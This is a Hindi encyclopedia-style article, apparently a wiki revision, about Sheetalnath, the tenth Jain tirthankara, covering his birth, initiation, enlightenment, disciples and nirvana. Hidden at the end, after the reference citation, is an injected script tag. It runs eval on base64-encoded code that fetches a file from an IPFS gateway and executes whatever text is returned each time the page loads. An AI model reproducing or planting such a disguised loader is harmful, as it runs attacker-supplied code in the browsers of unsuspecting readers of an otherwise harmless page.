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*भगवान शीतलनाथ ने भद्रिकापुर में माघ कृष्ण पक्ष की द्वादशी को दीक्षा प्राप्ति की थी। | *भगवान शीतलनाथ ने भद्रिकापुर में माघ कृष्ण पक्ष की द्वादशी को दीक्षा प्राप्ति की थी। | ||
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*[[जैन]] मतानुसार इनके कुल गणधरों की संख्या 81 थी, जिनमें नन्द स्वामी इनके प्रथम गणधर थे। | *[[जैन]] मतानुसार इनके कुल गणधरों की संख्या 81 थी, जिनमें नन्द स्वामी इनके प्रथम गणधर थे। | ||
*पूर्व [[तीर्थंकर|तीर्थंकरों]] की तरह भगवान शीतलनाथ जी ने अपने [[भक्त|भक्तों]] और मानव समाज को [[सत्य]] और अहिंसा के मार्ग पर चलने का सन्देश दिया। | *पूर्व [[तीर्थंकर|तीर्थंकरों]] की तरह भगवान शीतलनाथ जी ने अपने [[भक्त|भक्तों]] और मानव समाज को [[सत्य]] और अहिंसा के मार्ग पर चलने का सन्देश दिया। | ||
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13:42, 21 मार्च 2014 के समय का अवतरण
शीतलनाथ जैन धर्म के दसवें तीर्थंकर थे। भगवान शीतलनाथ का जन्म भद्रिकापुर में इक्ष्वाकु वंश के राजा दृढ़रथ की पत्नी माता सुनंदा के गर्भ से माघ मास कृष्ण पक्ष की द्वादशी तिथि को पूर्वाषाढ़ा नक्षत्र में हुआ था। इनका वर्ण सुवर्ण जबकि चिह्न कल्प वृक्ष था।
- शीतलानाथ के यक्ष का नाम ब्रह्मेश्वर और यक्षिणी का नाम अशोका देवी था।
- भगवान शीतलनाथ ने भद्रिकापुर में माघ कृष्ण पक्ष की द्वादशी को दीक्षा प्राप्ति की थी।
- दीक्षा प्राप्ति के पश्चात् तीन महीने तक कठिन तप करने के बाद भद्रिकापुर में ही 'प्लक्ष' वृक्ष के नीचे पौष कृष्ण पक्ष की चतुर्दशी तिथि को 'कैवल्य ज्ञान' की प्राप्ति इन्हें हुई।
- जैन मतानुसार इनके कुल गणधरों की संख्या 81 थी, जिनमें नन्द स्वामी इनके प्रथम गणधर थे।
- पूर्व तीर्थंकरों की तरह भगवान शीतलनाथ जी ने अपने भक्तों और मानव समाज को सत्य और अहिंसा के मार्ग पर चलने का सन्देश दिया।
- शीतलनाथ ने वैशाख कृष्ण पक्ष द्वितीया को सम्मेद शिखर पर निर्वाण को प्राप्त किया।[1]
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टीका टिप्पणी और संदर्भ
- ↑ श्री शीतलनाथ जी (हिन्दी)। । अभिगमन तिथि: 27 फ़रवरी, 2012।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
संबंधित लेख
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